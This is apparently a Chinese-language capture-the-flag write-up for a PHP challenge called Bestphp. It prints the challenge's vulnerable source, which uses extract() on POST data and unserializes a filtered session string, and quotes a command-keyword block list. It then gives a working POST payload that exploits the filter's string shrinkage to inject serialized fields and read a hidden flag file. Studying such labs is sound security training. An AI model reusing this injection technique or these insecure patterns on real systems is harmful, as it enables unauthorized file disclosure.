Bestphp_Writeup
Bestphp_Writeup
题提供了index.php源码
<html>
<head>
<title>BabyPHP</title>
<meta charset="UTF-8">
</head>
<body>
<form action="#" method="post">
flag在fun中,去找找乐趣吧:<input type="text" name="name" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
if (strpos($file, 'function.php') === false) {
echo '去找fun吧!!!';
exit;
} else {
include($file);
}
?>
通过阅读源码可知,可利用文件包含将 function.php 读取出来,单包含会将原文件解析,中就需要将源文件内容进行base64编码输出
得到
PD9waHAKZnVuY3Rpb24gZmlsdGVycygkZGF0YSl7Cglmb3JlYWNoKCRkYXRhIGFzICRrZXk9PiR2YWx1ZSl7CgkJaWYocHJlZ19tYXRjaCgnL2V2YWx8YXNzZXJ0fGV4ZWN8cGFzc3RocnV8Z2xvYnxzeXN0ZW18cG9wZW4vaScsJHZhbHVlKSl7CgkJCWRpZSgnRG8gbm90IGhhY2sgbWUhJyk7CgkJfQoJfQp9Ci8v5oGt5Zac5L2g5Y+R546w5LqGZmxhZzExMS5waHAKPz4=
最后得到 function.php 的内容
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
//恭喜你发现了flag111.php
?>
从提示中发现 flag111.php ,然后得到其源码
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
$var1 = @$_GET['v1'];
function filter_func($var2){
$tr = array('flag','php5','fl1g','php','f1ag');
$ter = '/'.implode('|',$tr).'/i';
return preg_replace($ter,'',$var2);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user_new"] = 'guest';
$_SESSION['function_new'] = $var1;
extract($_POST);
if(!$var1){
echo '<a href="index.php?v1=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img_new'] = base64_encode('guest_img.png');
}else{
$_SESSION['img_new'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info_new = filter_func(serialize($_SESSION));
if($var1 == 'highlight_file'){
highlight_file('index.php');
}
else if($var1 == 'show'){
$userinfo_new = unserialize($serialize_info_new);
highlight_file(base64_decode($userinfo_new['img_new']));
}
?>
同时在 .robots.txt
中发现还有一个文件 dozer_f1ag.php
猜测flag就在其中,这时就需要通过代码审计 flag111.php
来将 dozer_f1ag.php
包含出来
既然都能获取到 flag111.php
的内容了,那就在本地起一个php环境,构造 flag111.php
来进行调试然后得到正确的 payload
通过阅读源码
发现高危函数 extract();
,通过 extract();
为进行过滤就接收了 POST 数据,这时任何 POST 数据中的数组键名都会转换为变量名,数组键值转换为变量值。
如 POST 数据为 a="b"
,通过 extract();
处理后 a
将成为一个局部变量保存到内存中,其值为 b
发现参数 $_SESSION
会进行序列化处理后在进行过滤后再反序列化才进行处理,这时就很容易产生由于过滤导致的序列化内容改变,然后在反序列化出的结果可能不在是原有的结果。
Payload
构造请求: /flag111.php?v1=show
构造 POST 数据:
_SESSION[phpflag]=;s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";}
POST 的处理过程:
extract($_POST)
---> Array ( [phpflag] => ;s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";} )
serialize($_SESSION)
---> a:2:{s:7:"phpflag";s:52:";s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";}";s:7:"img_new";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter_func()
---> a:2:{s:7:"";s:52:";s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";}";s:7:"img_new";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter_func()
会通过正则将 'flag','php5','fl1g','php','f1ag'
剔除,由此 s:7:"phpflag";s:52:";s:1:"1";
会变成 s:7:"";s:52:";s:1:"1";
反序列化后将会变成 [";s:52:] => 1
,所以 phpflag
字符数和内容的构造是需要严格控制的,要能保证剔除字符后 ";s:52:
这 7 个字符要能和保留的字符数反序列拼接成一个字符串,
unserialize()
---> Array ( [";s:52:] => 1 [img_new] => ZG96ZXJfZjFhZy5waHA= )
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
$var1 = @$_GET['v1'];
function filter_func($var2){
$tr = array('flag','php5','fl1g','php','f1ag');
$ter = '/'.implode('|',$tr).'/i';
return preg_replace($ter,'',$var2);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user_new"] = 'guest';
$_SESSION['function_new'] = $var1;
extract($_POST);
echo "</br></br>SESSION:</br>";
print_r($_SESSION);
if(!$var1){
echo '<a href="index.php?v1=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img_new'] = base64_encode('guest_img.png');
}else{
$_SESSION['img_new'] = sha1(base64_encode($_GET['img_path']));
}
$sss = serialize($_SESSION);
echo "</br></br>serrialize_SESSION:</br>";
print_r($sss);
$serialize_info_new = filter_func(serialize($_SESSION));
echo "</br></br>serialize_info_new:</br>";
echo $serialize_info_new;
echo "</br>";
if($var1 == 'highlight_file'){
highlight_file('index.php');
}
else if($var1 == 'show'){
$userinfo_new = unserialize($serialize_info_new);
highlight_file(base64_decode($userinfo_new['img_new']));
}
?>
最终 dozer_f1ag.php
内容为
<?php
$flag = 'Dozerctf{EeVmVFHJEOPK7gpvn9OhocCQ0IWQitsm}';
?>
参考
BMZCTF:Bestphp_<7phphighlight_file(_file_);error_reporting(0);ini-CSDN博客